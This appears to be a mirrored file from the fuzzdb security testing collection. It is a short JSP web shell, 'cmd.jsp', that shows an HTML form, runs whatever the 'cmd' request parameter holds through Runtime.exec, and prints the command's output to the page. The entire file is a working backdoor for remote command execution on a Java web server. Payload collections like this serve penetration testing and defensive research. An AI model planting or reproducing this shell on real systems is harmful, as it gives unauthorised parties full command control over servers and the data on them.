mirror of
https://github.com/fuzzdb-project/fuzzdb.git
synced 2024-12-03 16:19:12 +00:00
35 lines
864 B
Text
Executable file
35 lines
864 B
Text
Executable file
<%@ page import="java.util.*,java.io.*"%>
|
|
<%
|
|
//
|
|
// JSP_KIT
|
|
//
|
|
// cmd.jsp = Command Execution (unix)
|
|
//
|
|
// by: Unknown
|
|
// modified: 27/06/2003
|
|
//
|
|
%>
|
|
<HTML><BODY>
|
|
<FORM METHOD="GET" NAME="myform" ACTION="">
|
|
<INPUT TYPE="text" NAME="cmd">
|
|
<INPUT TYPE="submit" VALUE="Send">
|
|
</FORM>
|
|
<pre>
|
|
<%
|
|
if (request.getParameter("cmd") != null) {
|
|
out.println("Command: " + request.getParameter("cmd") + "<BR>");
|
|
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
|
|
OutputStream os = p.getOutputStream();
|
|
InputStream in = p.getInputStream();
|
|
DataInputStream dis = new DataInputStream(in);
|
|
String disr = dis.readLine();
|
|
while ( disr != null ) {
|
|
out.println(disr);
|
|
disr = dis.readLine();
|
|
}
|
|
}
|
|
%>
|
|
</pre>
|
|
</BODY></HTML>
|
|
|
|
|